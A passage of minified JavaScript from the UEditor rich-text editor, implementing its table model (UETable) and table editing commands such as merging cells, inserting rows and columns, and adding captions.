            var e, t, i, n = d(r.container), o = r.options.toolbarTopOffset || 0;
            n.top < 0 && n.bottom - s.offsetHeight > o ? (e = domUtils.getXY(s), t = domUtils.getComputedStyle(s, "position"), i = domUtils.getComputedStyle(s, "left"), s.style.width = s.offsetWidth + "px", s.style.zIndex = +r.options.zIndex + 1, s.parentNode.insertBefore(m, s), c || u && browser.ie ? ("absolute" != s.style.position && (s.style.position = "absolute"), s.style.top = (document.body.scrollTop || document.documentElement.scrollTop) - l + a + "px") : (browser.ie7Compat && f && (f = !1, s.style.left = domUtils.getXY(s).x - document.documentElement.getBoundingClientRect().left + 2 + "px"), "fixed" != s.style.position && (s.style.position = "fixed", s.style.top = a + "px", "absolute" != t && "relative" != t || !parseFloat(i) || (s.style.left = e.x + "px")))) : h()
        }
    }, HG = UE.UETable = function (e) {
        this.table = e, this.indexTable = [], this.selectedTds = [], this.cellsRange = {}, this.update(e)
    }, HG.removeSelectedClass = function (e) {
        utils.each(e, function (e) {
            domUtils.removeClasses(e, "selectTdClass")
        })
    }, HG.addSelectedClass = function (e) {
        utils.each(e, function (e) {
            domUtils.addClass(e, "selectTdClass")
        })
    }, HG.isEmptyBlock = function (e) {
        var t = new RegExp(domUtils.fillChar, "g");
        if (0 < e[browser.ie ? "innerText" : "textContent"].replace(/^\s*$/, "").replace(t, "").length) return 0;
        for (var i in dtd.$isNotEmpty) if (dtd.$isNotEmpty.hasOwnProperty(i) && e.getElementsByTagName(i).length) return 0;
        return 1
    }, HG.getWidth = function (e) {
        return e ? parseInt(domUtils.getComputedStyle(e, "width"), 10) : 0
    }, HG.getTableCellAlignState = function (e) {
        utils.isArray(e) || (e = [e]);
        var i = {}, n = ["align", "valign"], o = null, r = !0;
        return utils.each(e, function (t) {
            return utils.each(n, function (e) {
                if (o = t.getAttribute(e), !i[e] && o) i[e] = o; else if (!i[e] || o !== i[e]) return r = !1
            }), r
        }), r ? i : null
    }, HG.getTableItemsByRange = function (e) {
        var t = e.selection.getStart();
        t && t.id && 0 === t.id.indexOf("_baidu_bookmark_start_") && t.nextSibling && (t = t.nextSibling);
        var i = t && domUtils.findParentByTagName(t, ["td", "th"], !0), n = i && i.parentNode,
            o = t && domUtils.findParentByTagName(t, "caption", !0);
        return {cell: i, tr: n, table: o ? o.parentNode : n && n.parentNode.parentNode, caption: o}
    }, HG.getUETableBySelected = function (e) {
        var t = HG.getTableItemsByRange(e).table;
        return t && t.ueTable && t.ueTable.selectedTds.length ? t.ueTable : null
    }, HG.getDefaultValue = function (e, t) {
        var i, n, o, r, a = {thin: "0px", medium: "1px", thick: "2px"};
        if (t) return s = t.getElementsByTagName("td")[0], r = domUtils.getComputedStyle(t, "border-left-width"), i = parseInt(a[r] || r, 10), r = domUtils.getComputedStyle(s, "padding-left"), n = parseInt(a[r] || r, 10), r = domUtils.getComputedStyle(s, "border-left-width"), {
            tableBorder: i,
            tdPadding: n,
            tdBorder: o = parseInt(a[r] || r, 10)
        };
        (t = e.document.createElement("table")).insertRow(0).insertCell(0).innerHTML = "xxx", e.body.appendChild(t);
        var s = t.getElementsByTagName("td")[0];
        return r = domUtils.getComputedStyle(t, "border-left-width"), i = parseInt(a[r] || r, 10), r = domUtils.getComputedStyle(s, "padding-left"), n = parseInt(a[r] || r, 10), r = domUtils.getComputedStyle(s, "border-left-width"), o = parseInt(a[r] || r, 10), domUtils.remove(t), {
            tableBorder: i,
            tdPadding: n,
            tdBorder: o
        }
    }, HG.getUETable = function (e) {
        var t = e.tagName.toLowerCase();
        return (e = "td" == t || "th" == t || "caption" == t ? domUtils.findParentByTagName(e, "table", !0) : e).ueTable || (e.ueTable = new HG(e)), e.ueTable
    }, HG.cloneCell = function (e, t, i) {
        if (!e || utils.isString(e)) return this.table.ownerDocument.createElement(e || "td");
        var n = domUtils.hasClass(e, "selectTdClass");
        n && domUtils.removeClasses(e, "selectTdClass");
        var o = e.cloneNode(!0);
        return t && (o.rowSpan = o.colSpan = 1), i || domUtils.removeAttributes(o, "width height"), i || domUtils.removeAttributes(o, "style"), o.style.borderLeftStyle = "", o.style.borderTopStyle = "", o.style.borderLeftColor = e.style.borderRightColor, o.style.borderLeftWidth = e.style.borderRightWidth, o.style.borderTopColor = e.style.borderBottomColor, o.style.borderTopWidth = e.style.borderBottomWidth, n && domUtils.addClass(e, "selectTdClass"), o
    }, HG.prototype = {
        getMaxRows: function () {
            for (var e, t = this.table.rows, i = 1, n = 0; e = t[n]; n++) {
                for (var o, r = 1, a = 0; o = e.cells[a++];) r = Math.max(o.rowSpan || 1, r);
                i = Math.max(r + n, i)
            }
            return i
        }, getMaxCols: function () {
            for (var e, t = this.table.rows, i = 0, n = {}, o = 0; e = t[o]; o++) {
                for (var r, a = 0, s = 0; r = e.cells[s++];) if (a += r.colSpan || 1, r.rowSpan && 1 < r.rowSpan) for (var l = 1; l < r.rowSpan; l++) n["row_" + (o + l)] ? n["row_" + (o + l)]++ : n["row_" + (o + l)] = r.colSpan || 1;
                a += n["row_" + o] || 0, i = Math.max(a, i)
            }
            return i
        }, getCellColIndex: function (e) {
        }, getHSideCell: function (e, t) {
            try {
                var i, n, o = this.getCellInfo(e), r = this.selectedTds.length, a = this.cellsRange;
                return !t && (r ? !a.beginColIndex : !o.colIndex) || t && (r ? a.endColIndex == this.colsNum - 1 : o.colIndex == this.colsNum - 1) ? null : (i = r ? a.beginRowIndex : o.rowIndex, n = t ? r ? a.endColIndex + 1 : o.colIndex + 1 : r ? a.beginColIndex - 1 : o.colIndex < 1 ? 0 : o.colIndex - 1, this.getCell(this.indexTable[i][n].rowIndex, this.indexTable[i][n].cellIndex))
            } catch (e) {
            }
        }, getTabNextCell: function (e, t) {
            var i, n = this.getCellInfo(e), o = t || n.rowIndex, r = n.colIndex + 1 + (n.colSpan - 1);
            try {
                i = this.getCell(this.indexTable[o][r].rowIndex, this.indexTable[o][r].cellIndex)
            } catch (e) {
                try {
                    o = +o + 1, r = 0, i = this.getCell(this.indexTable[o][r].rowIndex, this.indexTable[o][r].cellIndex)
                } catch (e) {
                }
            }
            return i
        }, getVSideCell: function (e, t, i) {
            try {
                var n, o, r = this.getCellInfo(e), a = this.selectedTds.length && !i, s = this.cellsRange;
                return !t && 0 == r.rowIndex || t && (a ? s.endRowIndex == this.rowsNum - 1 : r.rowIndex + r.rowSpan > this.rowsNum - 1) ? null : (n = t ? a ? s.endRowIndex + 1 : r.rowIndex + r.rowSpan : a ? s.beginRowIndex - 1 : r.rowIndex - 1, o = a ? s.beginColIndex : r.colIndex, this.getCell(this.indexTable[n][o].rowIndex, this.indexTable[n][o].cellIndex))
            } catch (e) {
            }
        }, getSameEndPosCells: function (e, t) {
            try {
                for (var i = "x" === t.toLowerCase(), n = domUtils.getXY(e)[i ? "x" : "y"] + e["offset" + (i ? "Width" : "Height")], o = this.table.rows, r = null, a = [], s = 0; s < this.rowsNum; s++) {
                    r = o[s].cells;
                    for (var l, d = 0; l = r[d++];) {
                        var c = domUtils.getXY(l)[i ? "x" : "y"] + l["offset" + (i ? "Width" : "Height")];
                        if (n < c && i) break;
                        if ((e == l || n == c) && (1 == l[i ? "colSpan" : "rowSpan"] && a.push(l), i)) break
                    }
                }
                return a
            } catch (e) {
            }
        }, setCellContent: function (e, t) {
            e.innerHTML = t || (browser.ie ? domUtils.fillChar : "<br />")
        }, cloneCell: HG.cloneCell, getSameStartPosXCells: function (e) {
            try {
                for (var t, i = domUtils.getXY(e).x + e.offsetWidth, n = this.table.rows, o = [], r = 0; r < this.rowsNum; r++) {
                    t = n[r].cells;
                    for (var a, s = 0; a = t[s++];) {
                        var l = domUtils.getXY(a).x;
                        if (i < l) break;
                        if (l == i && 1 == a.colSpan) {
                            o.push(a);
                            break
                        }
                    }
                }
                return o
            } catch (e) {
            }
        }, update: function (e) {
            this.table = e || this.table, this.selectedTds = [], this.cellsRange = {}, this.indexTable = [];
            for (var t = this.table.rows, i = this.getMaxRows(), n = i - t.length, o = this.getMaxCols(); n--;) this.table.insertRow(t.length);
            this.rowsNum = i, this.colsNum = o;
            for (var r = 0, a = t.length; r < a; r++) this.indexTable[r] = new Array(o);
            for (var s, l = 0; s = t[l]; l++) for (var d, c = 0, u = s.cells; d = u[c]; c++) {
                d.rowSpan > i && (d.rowSpan = i);
                for (var m = c, f = d.rowSpan || 1, h = d.colSpan || 1; this.indexTable[l][m];) m++;
                for (var p = 0; p < f; p++) for (var g = 0; g < h; g++) this.indexTable[l + p][m + g] = {
                    rowIndex: l,
                    cellIndex: c,
                    colIndex: m,
                    rowSpan: f,
                    colSpan: h
                }
            }
            for (p = 0; p < i; p++) for (g = 0; g < o; g++) void 0 === this.indexTable[p][g] && (d = (d = (s = t[p]).cells[s.cells.length - 1]) ? d.cloneNode(!0) : this.table.ownerDocument.createElement("td"), this.setCellContent(d), 1 !== d.colSpan && (d.colSpan = 1), 1 !== d.rowSpan && (d.rowSpan = 1), s.appendChild(d), this.indexTable[p][g] = {
                rowIndex: p,
                cellIndex: d.cellIndex,
                colIndex: g,
                rowSpan: 1,
                colSpan: 1
            });
            var b = domUtils.getElementsByTagName(this.table, "td"), v = [];
            if (utils.each(b, function (e) {
                domUtils.hasClass(e, "selectTdClass") && v.push(e)
            }), v.length) {
                var y = v[0], C = v[v.length - 1], x = this.getCellInfo(y), w = this.getCellInfo(C);
                this.selectedTds = v, this.cellsRange = {
                    beginRowIndex: x.rowIndex,
                    beginColIndex: x.colIndex,
                    endRowIndex: w.rowIndex + w.rowSpan - 1,
                    endColIndex: w.colIndex + w.colSpan - 1
                }
            }
            if (!domUtils.hasClass(this.table.rows[0], "firstRow")) {
                domUtils.addClass(this.table.rows[0], "firstRow");
                for (r = 1; r < this.table.rows.length; r++) domUtils.removeClasses(this.table.rows[r], "firstRow")
            }
        }, getCellInfo: function (e) {
            if (e) for (var t = e.cellIndex, i = e.parentNode.rowIndex, n = this.indexTable[i], o = this.colsNum, r = t; r < o; r++) {
                var a = n[r];
                if (a.rowIndex === i && a.cellIndex === t) return a
            }
        }, getCell: function (e, t) {
            return e < this.rowsNum && this.table.rows[e].cells[t] || null
        }, deleteCell: function (e, t) {
            t = "number" == typeof t ? t : e.parentNode.rowIndex, this.table.rows[t].deleteCell(e.cellIndex)
        }, getCellsRange: function (e, t) {
            try {
                var m = this, i = m.getCellInfo(e);
                if (e === t) return {
                    beginRowIndex: i.rowIndex,
                    beginColIndex: i.colIndex,
                    endRowIndex: i.rowIndex + i.rowSpan - 1,
                    endColIndex: i.colIndex + i.colSpan - 1
                };
                var n = m.getCellInfo(t);
                return function e(t, i, n, o) {
                    var r, a, s, l = t, d = i, c = n, u = o;
                    if (0 < t) for (a = i; a < o; a++) (s = (r = m.indexTable[t][a]).rowIndex) < t && (l = Math.min(s, l));
                    if (o < m.colsNum) for (s = t; s < n; s++) o < (a = (r = m.indexTable[s][o]).colIndex + r.colSpan - 1) && (u = Math.max(a, u));
                    if (n < m.rowsNum) for (a = i; a < o; a++) n < (s = (r = m.indexTable[n][a]).rowIndex + r.rowSpan - 1) && (c = Math.max(s, c));
                    if (0 < i) for (s = t; s < n; s++) (a = (r = m.indexTable[s][i]).colIndex) < i && (d = Math.min(r.colIndex, d));
                    return l != t || d != i || c != n || u != o ? e(l, d, c, u) : {
                        beginRowIndex: t,
                        beginColIndex: i,
                        endRowIndex: n,
                        endColIndex: o
                    }
                }(Math.min(i.rowIndex, n.rowIndex), Math.min(i.colIndex, n.colIndex), Math.max(i.rowIndex + i.rowSpan - 1, n.rowIndex + n.rowSpan - 1), Math.max(i.colIndex + i.colSpan - 1, n.colIndex + n.colSpan - 1))
            } catch (e) {
            }
        }, getCells: function (e) {
            this.clearSelected();
            for (var t, i, n, o = e.beginRowIndex, r = e.beginColIndex, a = e.endRowIndex, s = e.endColIndex, l = {}, d = [], c = o; c <= a; c++) for (var u = r; u <= s; u++) {
                var m = (i = (t = this.indexTable[c][u]).rowIndex) + "|" + (n = t.colIndex);
                if (!l[m]) {
                    if (l[m] = 1, i < c || n < u || i + t.rowSpan - 1 > a || n + t.colSpan - 1 > s) return null;
                    d.push(this.getCell(i, t.cellIndex))
                }
            }
            return d
        }, clearSelected: function () {
            HG.removeSelectedClass(this.selectedTds), this.selectedTds = [], this.cellsRange = {}
        }, setSelected: function (e) {
            var t = this.getCells(e);
            HG.addSelectedClass(t), this.selectedTds = t, this.cellsRange = e
        }, isFullRow: function () {
            var e = this.cellsRange;
            return e.endColIndex - e.beginColIndex + 1 == this.colsNum
        }, isFullCol: function () {
            var e = this.cellsRange, t = this.table.getElementsByTagName("th"), i = e.endRowIndex - e.beginRowIndex + 1;
            return t.length ? i == this.rowsNum || i == this.rowsNum - 1 : i == this.rowsNum
        }, getNextCell: function (e, t, i) {
            try {
                var n, o, r = this.getCellInfo(e), a = this.selectedTds.length && !i, s = this.cellsRange;
                return !t && 0 == r.rowIndex || t && (a ? s.endRowIndex == this.rowsNum - 1 : r.rowIndex + r.rowSpan > this.rowsNum - 1) ? null : (n = t ? a ? s.endRowIndex + 1 : r.rowIndex + r.rowSpan : a ? s.beginRowIndex - 1 : r.rowIndex - 1, o = a ? s.beginColIndex : r.colIndex, this.getCell(this.indexTable[n][o].rowIndex, this.indexTable[n][o].cellIndex))
            } catch (e) {
            }
        }, getPreviewCell: function (e, t) {
            try {
                var i, n, o = this.getCellInfo(e), r = this.selectedTds.length, a = this.cellsRange;
                return !t && (r ? !a.beginColIndex : !o.colIndex) || t && (r ? a.endColIndex == this.colsNum - 1 : o.rowIndex > this.colsNum - 1) ? null : (i = t ? r ? a.beginRowIndex : o.rowIndex < 1 ? 0 : o.rowIndex - 1 : r ? a.beginRowIndex : o.rowIndex, n = t ? r ? a.endColIndex + 1 : o.colIndex : r ? a.beginColIndex - 1 : o.colIndex < 1 ? 0 : o.colIndex - 1, this.getCell(this.indexTable[i][n].rowIndex, this.indexTable[i][n].cellIndex))
            } catch (e) {
            }
        }, moveContent: function (e, t) {
            if (!HG.isEmptyBlock(t)) if (HG.isEmptyBlock(e)) e.innerHTML = t.innerHTML; else {
                var i = e.lastChild;
                for (3 != i.nodeType && dtd.$block[i.tagName] || e.appendChild(e.ownerDocument.createElement("br")); i = t.firstChild;) e.appendChild(i)
            }
        }, mergeRight: function (e) {
            var t = this.getCellInfo(e), i = t.colIndex + t.colSpan, n = this.indexTable[t.rowIndex][i],
                o = this.getCell(n.rowIndex, n.cellIndex);
            e.colSpan = t.colSpan + n.colSpan, e.removeAttribute("width"), this.moveContent(e, o), this.deleteCell(o, n.rowIndex), this.update()
        }, mergeDown: function (e) {
            var t = this.getCellInfo(e), i = t.rowIndex + t.rowSpan, n = this.indexTable[i][t.colIndex],
                o = this.getCell(n.rowIndex, n.cellIndex);
            e.rowSpan = t.rowSpan + n.rowSpan, e.removeAttribute("height"), this.moveContent(e, o), this.deleteCell(o, n.rowIndex), this.update()
        }, mergeRange: function () {
            var e = this.cellsRange,
                t = this.getCell(e.beginRowIndex, this.indexTable[e.beginRowIndex][e.beginColIndex].cellIndex);
            if ("TH" == t.tagName && e.endRowIndex !== e.beginRowIndex) {
                var i = this.indexTable, n = this.getCellInfo(t);
                t = this.getCell(1, i[1][n.colIndex].cellIndex), e = this.getCellsRange(t, this.getCell(i[this.rowsNum - 1][n.colIndex].rowIndex, i[this.rowsNum - 1][n.colIndex].cellIndex))
            }
            for (var o, r = this.getCells(e), a = 0; o = r[a++];) o !== t && (this.moveContent(t, o), this.deleteCell(o));
            if (t.rowSpan = e.endRowIndex - e.beginRowIndex + 1, 1 < t.rowSpan && t.removeAttribute("height"), t.colSpan = e.endColIndex - e.beginColIndex + 1, 1 < t.colSpan && t.removeAttribute("width"), t.rowSpan == this.rowsNum && 1 != t.colSpan && (t.colSpan = 1), t.colSpan == this.colsNum && 1 != t.rowSpan) {
                var s = t.parentNode.rowIndex;
                if (this.table.deleteRow) {
                    a = s + 1;
                    for (var l = s + 1, d = t.rowSpan; a < d; a++) this.table.deleteRow(l)
                } else for (a = 0, d = t.rowSpan - 1; a < d; a++) {
                    var c = this.table.rows[s + 1];
                    c.parentNode.removeChild(c)
                }
                t.rowSpan = 1
            }
            this.update()
        }, insertRow: function (e, t) {
            var i, n = this.colsNum, o = this.table.insertRow(e), r = "string" == typeof t && "TH" == t.toUpperCase();

            function a(e, t, i) {
                if (0 == e) {
                    var n = (i.nextSibling || i.previousSibling).cells[e];
                    "TH" == n.tagName && ((n = t.ownerDocument.createElement("th")).appendChild(t.firstChild), i.insertBefore(n, t), domUtils.remove(t))
                } else if ("TH" == t.tagName) {
                    var o = t.ownerDocument.createElement("td");
                    o.appendChild(t.firstChild), i.insertBefore(o, t), domUtils.remove(t)
                }
            }

            if (0 == e || e == this.rowsNum) for (var s = 0; s < n; s++) i = this.cloneCell(t, !0), this.setCellContent(i), i.getAttribute("vAlign") && i.setAttribute("vAlign", i.getAttribute("vAlign")), o.appendChild(i), r || a(s, i, o); else {
                var l = this.indexTable[e];
                for (s = 0; s < n; s++) {
                    var d = l[s];
                    d.rowIndex < e ? (i = this.getCell(d.rowIndex, d.cellIndex)).rowSpan = d.rowSpan + 1 : (i = this.cloneCell(t, !0), this.setCellContent(i), o.appendChild(i)), r || a(s, i, o)
                }
            }
            return this.update(), o
        }, deleteRow: function (e) {
            for (var t = this.table.rows[e], i = this.indexTable[e], n = this.colsNum, o = 0, r = 0; r < n;) {
                var a = i[r], s = this.getCell(a.rowIndex, a.cellIndex);
                if (1 < s.rowSpan && a.rowIndex == e) {
                    var l = s.cloneNode(!0);
                    l.rowSpan = s.rowSpan - 1, l.innerHTML = "";
                    var d, c = e + (s.rowSpan = 1), u = this.table.rows[c], m = this.getPreviewMergedCellsNum(c, r) - o;
                    m < r ? (d = r - m - 1, domUtils.insertAfter(u.cells[d], l)) : u.cells.length && u.insertBefore(l, u.cells[0]), o += 1
                }
                r += s.colSpan || 1
            }
            var f = [], h = {};
            for (r = 0; r < n; r++) {
                var p = i[r].rowIndex, g = i[r].cellIndex, b = p + "_" + g;
                h[b] || (h[b] = 1, s = this.getCell(p, g), f.push(s))
            }
            var v = [];
            utils.each(f, function (e) {
                1 == e.rowSpan ? e.parentNode.removeChild(e) : v.push(e)
            }), utils.each(v, function (e) {
                e.rowSpan--
            }), t.parentNode.removeChild(t), this.update()
        }, insertCol: function (e, t, i) {
            var n, o, r, a = this.rowsNum, s = 0,
                l = parseInt((this.table.offsetWidth - 20 * (this.colsNum + 1) - (this.colsNum + 1)) / (this.colsNum + 1), 10),
                d = "string" == typeof t && "TH" == t.toUpperCase();

            function c(e, t, i) {
                if (0 == e) {
                    var n = t.nextSibling || t.previousSibling;
                    "TH" == n.tagName && ((n = t.ownerDocument.createElement("th")).appendChild(t.firstChild), i.insertBefore(n, t), domUtils.remove(t))
                } else if ("TH" == t.tagName) {
                    var o = t.ownerDocument.createElement("td");
                    o.appendChild(t.firstChild), i.insertBefore(o, t), domUtils.remove(t)
                }
            }

            if (0 == e || e == this.colsNum) for (; s < a; s++) r = (n = this.table.rows[s]).cells[0 == e ? e : n.cells.length], o = this.cloneCell(t, !0), this.setCellContent(o), o.setAttribute("vAlign", o.getAttribute("vAlign")), r && o.setAttribute("width", r.getAttribute("width")), e ? domUtils.insertAfter(n.cells[n.cells.length - 1], o) : n.insertBefore(o, n.cells[0]), d || c(s, o, n); else for (; s < a; s++) {
                var u = this.indexTable[s][e];
                u.colIndex < e ? (o = this.getCell(u.rowIndex, u.cellIndex)).colSpan = u.colSpan + 1 : (r = (n = this.table.rows[s]).cells[u.cellIndex], o = this.cloneCell(t, !0), this.setCellContent(o), o.setAttribute("vAlign", o.getAttribute("vAlign")), r && o.setAttribute("width", r.getAttribute("width")), r ? n.insertBefore(o, r) : n.appendChild(o)), d || c(s, o, n)
            }
            this.update(), this.updateWidth(l, i || {tdPadding: 10, tdBorder: 1})
        }, updateWidth: function (t, e) {
            var i = this.table, n = HG.getWidth(i) - 2 * e.tdPadding - e.tdBorder + t;
            if (n < i.ownerDocument.body.offsetWidth) i.setAttribute("width", n); else {
                var o = domUtils.getElementsByTagName(this.table, "td th");
                utils.each(o, function (e) {
                    e.setAttribute("width", t)
                })
            }
        }, deleteCol: function (e) {
            for (var t = this.indexTable, i = this.table.rows, n = this.table.getAttribute("width"), o = 0, r = this.rowsNum, a = {}, s = 0; s < r;) {
                var l = t[s][e], d = l.rowIndex + "_" + l.colIndex;
                if (!a[d]) {
                    a[d] = 1;
                    var c = this.getCell(l.rowIndex, l.cellIndex);
                    o = o || c && parseInt(c.offsetWidth / c.colSpan, 10).toFixed(0), 1 < c.colSpan ? c.colSpan-- : i[s].deleteCell(l.cellIndex), s += l.rowSpan || 1
                }
            }
            this.table.setAttribute("width", n - o), this.update()
        }, splitToCells: function (e) {
            var t = this, i = this.splitToRows(e);
            utils.each(i, function (e) {
                t.splitToCols(e)
            })
        }, splitToRows: function (e) {
            var t = this.getCellInfo(e), i = t.rowIndex, n = t.colIndex, o = [];
            e.rowSpan = 1, o.push(e);
            for (var r = i, a = i + t.rowSpan; r < a; r++) if (r != i) {
                var s = this.table.rows[r].insertCell(n - this.getPreviewMergedCellsNum(r, n));
                s.colSpan = t.colSpan, this.setCellContent(s), s.setAttribute("vAlign", e.getAttribute("vAlign")), s.setAttribute("align", e.getAttribute("align")), e.style.cssText && (s.style.cssText = e.style.cssText), o.push(s)
            }
            return this.update(), o
        }, getPreviewMergedCellsNum: function (e, t) {
            for (var i = this.indexTable[e], n = 0, o = 0; o < t;) {
                var r = i[o].colSpan;
                n += r - (i[o].rowIndex == e ? 1 : 0), o += r
            }
            return n
        }, splitToCols: function (e) {
            var t = (e.offsetWidth / e.colSpan - 22).toFixed(0), i = this.getCellInfo(e), n = i.rowIndex,
                o = i.colIndex, r = [];
            e.colSpan = 1, e.setAttribute("width", t), r.push(e);
            for (var a = o, s = o + i.colSpan; a < s; a++) if (a != o) {
                var l = this.table.rows[n], d = l.insertCell(this.indexTable[n][a].cellIndex + 1);
                if (d.rowSpan = i.rowSpan, this.setCellContent(d), d.setAttribute("vAlign", e.getAttribute("vAlign")), d.setAttribute("align", e.getAttribute("align")), d.setAttribute("width", t), e.style.cssText && (d.style.cssText = e.style.cssText), "TH" == e.tagName) {
                    var c = e.ownerDocument.createElement("th");
                    c.appendChild(d.firstChild), c.setAttribute("vAlign", e.getAttribute("vAlign")), c.rowSpan = d.rowSpan, l.insertBefore(c, d), domUtils.remove(d)
                }
                r.push(d)
            }
            return this.update(), r
        }, isLastCell: function (e, t, i) {
            t = t || this.rowsNum, i = i || this.colsNum;
            var n = this.getCellInfo(e);
            return n.rowIndex + n.rowSpan == t && n.colIndex + n.colSpan == i
        }, getLastCell: function (e) {
            e = e || this.table.getElementsByTagName("td");
            this.getCellInfo(e[0]);
            var t, i = this, n = e[0], o = n.parentNode, r = 0, a = 0;
            return utils.each(e, function (e) {
                e.parentNode == o && (a += e.colSpan || 1), r += e.rowSpan * e.colSpan || 1
            }), t = r / a, utils.each(e, function (e) {
                if (i.isLastCell(e, t, a)) return n = e, !1
            }), n
        }, selectRow: function (e) {
            var t = this.indexTable[e], i = this.getCell(t[0].rowIndex, t[0].cellIndex),
                n = this.getCell(t[this.colsNum - 1].rowIndex, t[this.colsNum - 1].cellIndex),
                o = this.getCellsRange(i, n);
            this.setSelected(o)
        }, selectTable: function () {
            var e = this.table.getElementsByTagName("td"), t = this.getCellsRange(e[0], e[e.length - 1]);
            this.setSelected(t)
        }, setBackground: function (e, t) {
            if ("string" == typeof t) utils.each(e, function (e) {
                e.style.backgroundColor = t
            }); else if ("object" == typeof t) {
                t = utils.extend({repeat: !0, colorList: ["#ddd", "#fff"]}, t);
                for (var i, n = this.getCellInfo(e[0]).rowIndex, o = 0, r = t.colorList, a = 0; i = e[a++];) {
                    var s = this.getCellInfo(i);
                    i.style.backgroundColor = (l = r, d = n + o == s.rowIndex ? o : ++o, c = t.repeat, l[d] ? l[d] : c ? l[d % l.length] : "")
                }
            }
            var l, d, c
        }, removeBackground: function (e) {
            utils.each(e, function (e) {
                e.style.backgroundColor = ""
            })
        }
    }, xN = UE.UETable, UE.commands.inserttable = {
        queryCommandState: function () {
            return yN(this).table ? -1 : 0
        }, execCommand: function (e, t) {
            t = t || utils.extend({}, {
                numCols: this.options.defaultCols,
                numRows: this.options.defaultRows,
                tdvalign: this.options.tdvalign
            });
            var i = this.selection.getRange().startContainer, n = domUtils.findParent(i, function (e) {
                    return domUtils.isBlockElm(e)
                }, !0) || this.body, o = AN(this), r = n.offsetWidth,
                a = Math.floor(r / t.numCols - 2 * o.tdPadding - o.tdBorder);
            t.tdvalign || (t.tdvalign = this.options.tdvalign), this.execCommand("inserthtml", function (e, t) {
                for (var i = [], n = e.numRows, o = e.numCols, r = 0; r < n; r++) {
                    i.push("<tr" + (0 == r ? ' class="firstRow"' : "") + ">");
                    for (var a = 0; a < o; a++) i.push('<td width="' + t + '"  vAlign="' + e.tdvalign + '" >' + (browser.ie && browser.version < 11 ? domUtils.fillChar : "<br/>") + "</td>");
                    i.push("</tr>")
                }
                return "<table><tbody>" + i.join("") + "</tbody></table>"
            }(t, a))
        }
    }, UE.commands.insertparagraphbeforetable = {
        queryCommandState: function () {
            return yN(this).cell ? 0 : -1
        }, execCommand: function () {
            var e = yN(this).table;
            if (e) {
                var t = this.document.createElement("p");
                t.innerHTML = browser.ie ? "&nbsp;" : "<br />", e.parentNode.insertBefore(t, e), this.selection.getRange().setStart(t, 0).setCursor()
            }
        }
    }, UE.commands.deletetable = {
        queryCommandState: function () {
            var e = this.selection.getRange();
            return domUtils.findParentByTagName(e.startContainer, "table", !0) ? 0 : -1
        }, execCommand: function (e, t) {
            var i = this.selection.getRange();
            if (t = t || domUtils.findParentByTagName(i.startContainer, "table", !0)) {
                var n = t.nextSibling;
                n || (n = domUtils.createElement(this.document, "p", {innerHTML: browser.ie ? domUtils.fillChar : "<br/>"}), t.parentNode.insertBefore(n, t)), domUtils.remove(t), i = this.selection.getRange(), 3 == n.nodeType ? i.setStartBefore(n) : i.setStart(n, 0), i.setCursor(!1, !0), this.fireEvent("tablehasdeleted")
            }
        }
    }, UE.commands.cellalign = {
        queryCommandState: function () {
            return EN(this).length ? 0 : -1
        }, execCommand: function (e, t) {
            var i = EN(this);
            if (i.length) for (var n, o = 0; n = i[o++];) n.setAttribute("align", t)
        }
    }, UE.commands.cellvalign = {
        queryCommandState: function () {
            return EN(this).length ? 0 : -1
        }, execCommand: function (e, t) {
            var i = EN(this);
            if (i.length) for (var n, o = 0; n = i[o++];) n.setAttribute("vAlign", t)
        }
    }, UE.commands.insertcaption = {
        queryCommandState: function () {
            var e = yN(this).table;
            return e && 0 == e.getElementsByTagName("caption").length ? 1 : -1
        }, execCommand: function () {
            var e = yN(this).table;
            if (e) {
                var t = this.document.createElement("caption");
                t.innerHTML = browser.ie ? domUtils.fillChar : "<br/>", e.insertBefore(t, e.firstChild), this.selection.getRange().setStart(t, 0).setCursor()
            }
        }
    }, UE.commands.deletecaption = {
        queryCommandState: function () {
            var e = this.selection.getRange(), t = domUtils.findParentByTagName(e.startContainer, "table");
            return !t || 0 == t.getElementsByTagName("caption").length ? -1 : 1
        }, execCommand: function () {
            var e = this.selection.getRange(), t = domUtils.findParentByTagName(e.startContainer, "table");
            t && (domUtils.remove(t.getElementsByTagName("caption")[0]), this.selection.getRange().setStart(t.rows[0].cells[0], 0).setCursor())
        }
    }, UE.commands.inserttitle = {
        queryCommandState: function () {
            var e = yN(this).table;
            if (e) {
                var t = e.rows[0];
                return "th" != t.cells[t.cells.length - 1].tagName.toLowerCase() ? 0 : -1
            }
            return -1
        }, execCommand: function () {
            var e = yN(this).table;
            e && BN(e).insertRow(0, "th");
            var t = e.getElementsByTagName("th")[0];
            this.selection.getRange().setStart(t, 0).setCursor(!1, !0)
        }
    }, UE.commands.deletetitle = {
        queryCommandState: function () {
            var e = yN(this).table;
            if (e) {
                var t = e.rows[0];
                return "th" == t.cells[t.cells.length - 1].tagName.toLowerCase() ? 0 : -1
            }
            return -1
        }, execCommand: function () {
            var e = yN(this).table;
            e && domUtils.remove(e.rows[0]);
            var t = e.getElementsByTagName("td")[0];
            this.selection.getRange().setStart(t, 0).setCursor(!1, !0)
        }
    }, UE.commands.inserttitlecol = {
        queryCommandState: function () {
            var e = yN(this).table;
            return !e || e.rows[e.rows.length - 1].getElementsByTagName("th").length ? -1 : 0
        }, execCommand: function (e) {
            var t = yN(this).table;
            t && BN(t).insertCol(0, "th"), CN(t, this);
            var i = t.getElementsByTagName("th")[0];
            this.selection.getRange().setStart(i, 0).setCursor(!1, !0)
        }
    }, UE.commands.deletetitlecol = {
        queryCommandState: function () {
            var e = yN(this).table;
            return e && e.rows[e.rows.length - 1].getElementsByTagName("th").length ? 0 : -1
        }, execCommand: function () {
            var e = yN(this).table;
            if (e) for (var t = 0; t < e.rows.length; t++) domUtils.remove(e.rows[t].children[0]);
            CN(e, this);
            var i = e.getElementsByTagName("td")[0];
            this.selection.getRange().setStart(i, 0).setCursor(!1, !0)
        }
    }, UE.commands.mergeright = {
        queryCommandState: function (e) {
            var t = yN(this), i = t.table, n = t.cell;
            if (!i || !n) return -1;
            var o = BN(i);
            if (o.selectedTds.length) return -1;
            var r = o.getCellInfo(n), a = r.colIndex + r.colSpan;
            if (a >= o.colsNum) return -1;
            var s = o.indexTable[r.rowIndex][a], l = i.rows[s.rowIndex].cells[s.cellIndex];
            return l && n.tagName == l.tagName && s.rowIndex == r.rowIndex && s.rowSpan == r.rowSpan ? 0 : -1
        }, execCommand: function (e) {
            var t = this.selection.getRange(), i = t.createBookmark(!0), n = yN(this).cell;
            BN(n).mergeRight(n), t.moveToBookmark(i).select()
        }
